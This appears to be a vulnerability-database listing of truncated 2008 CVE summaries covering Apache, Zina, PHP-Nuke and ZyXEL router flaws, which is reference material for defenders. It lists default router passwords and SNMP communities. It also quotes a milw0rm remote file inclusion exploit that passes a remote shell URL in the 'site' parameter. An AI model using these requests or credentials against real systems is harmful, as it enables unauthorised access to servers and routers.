mod_autoindex XSS

Cross-site scripting XSS vulnerability in modautoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that th...

mod_autoindex XSS

Cross-site scripting XSS vulnerability in modautoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that th...

CVE-2008-2495: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in index.php in Zina 1.0 RC3 allows remote attackers to have an unknown impact via a .. dot dot in the p parameter...

Apache UTF-7 Encoding Cross-Site Scripting Vulnerability

Overview The modautoindex.c module in Apache HTTP Server is vulnerable to a cross-site scripting attack. When the charset on a server-generated page is undefined, the vulnerability allows attackers to inject arbitrary scripts or HTML via the P parameter using the UTF-7 charset. Impact An attacker...

scorpnews-rfi.txt

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...

ScorpNews 1.0 - site Remote File Inclusion

ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

CVE-2008-1539: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in includes/dynamictitles.php in PHP-Nuke Platinum 7.6.b.5 allows remote attackers to execute arbitrary SQL commands via the p parameter to modules.php for the Forums module...

CVE-2008-1522: Undefined Security Weakness

ZyXEL Prestige routers, including P-660 and P-661 models with firmware 3.40AGD.2 through 3.40AHQ.3, have 1 "user" as their default password for the "user" account and 2 "1234" as their default password for the "admin" account, which makes it easier for remote attackers to obtain access...

CVE-2008-1527: Undefined Security Weakness

ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40PE9 and 3.40AGD.2 through 3.40AHQ.3, support authentication over HTTP via a hash string in the hiddenPassword field, which allows remote attackers to obtain access via a replay attack...

CVE-2008-1526: Use of Password Hash With Insufficient Computational Effort

ZyXEL Prestige routers, including P-660, P-661, and P-662 models with firmware 3.40PE9 and 3.40AGD.2 through 3.40AHQ.3, do not use a salt when calculating an MD5 password hash, which makes it easier for attackers to crack passwords...

CVE-2008-1521: Undefined Security Weakness

ZyXEL Prestige routers, including P-660 and P-661 models with firmware 3.40AGD.2 through 3.40AHQ.3, allow remote authenticated users to gain privileges by accessing administrative URIs, as demonstrated by rpSysAdmin.html...

CVE-2008-1524: Undefined Security Weakness

The SNMP service on ZyXEL Prestige routers, including P-660 and P-661 models with firmware 3.40AGD.2 through 3.40AHQ.3, has "public" as its default community for both 1 read and 2 write operations, which allows remote attackers to perform administrative actions via SNMP, as demonstrated by readin...

Cross site scripting

Cross-site scripting XSS vulnerability in Forms/DiagGeneral2 on the ZyXEL P-660HW series router allows remote attackers to inject arbitrary web script or HTML via the PingIPAddr parameter...

Cross site request forgery (csrf)

Multiple cross-site request forgery CSRF vulnerabilities on the Zyxel P-2602HW-D1A router with 3.40AJZ.1 firmware allow remote attackers to 1 make the admin web server available on the Internet WAN interface via the WWWAccessInterface parameter to Forms/RemMagWWW1 or 2 change the IP whitelisting...

Cross site request forgery (csrf)

Multiple cross-site request forgery CSRF vulnerabilities on the ZyXEL P-660HW series router allow remote attackers to 1 change DNS servers and 2 add keywords to the "bannedlist" via unspecified vectors...

CVE-2008-1255

The ZyXEL P-660HW series router maintains authentication state by IP address, which allows remote attackers to bypass authentication by establishing a session from a source IP address of a previously authenticated user...

CVE-2008-1257

Cross-site scripting XSS vulnerability in Forms/DiagGeneral2 on the ZyXEL P-660HW series router allows remote attackers to inject arbitrary web script or HTML via the PingIPAddr parameter...

CVE-2008-1261

The Zyxel P-2602HW-D1A router with 3.40AJZ.1 firmware provides different responses to admin page requests depending on whether a user is logged in, which allows remote attackers to obtain current login status by requesting an arbitrary admin URI...

Default credentials

The ZyXEL P-660HW series router has "admin" as its default password, which allows remote attackers to gain administrative access...

CVE-2008-1254

Multiple cross-site request forgery CSRF vulnerabilities on the ZyXEL P-660HW series router allow remote attackers to 1 change DNS servers and 2 add keywords to the "bannedlist" via unspecified vectors...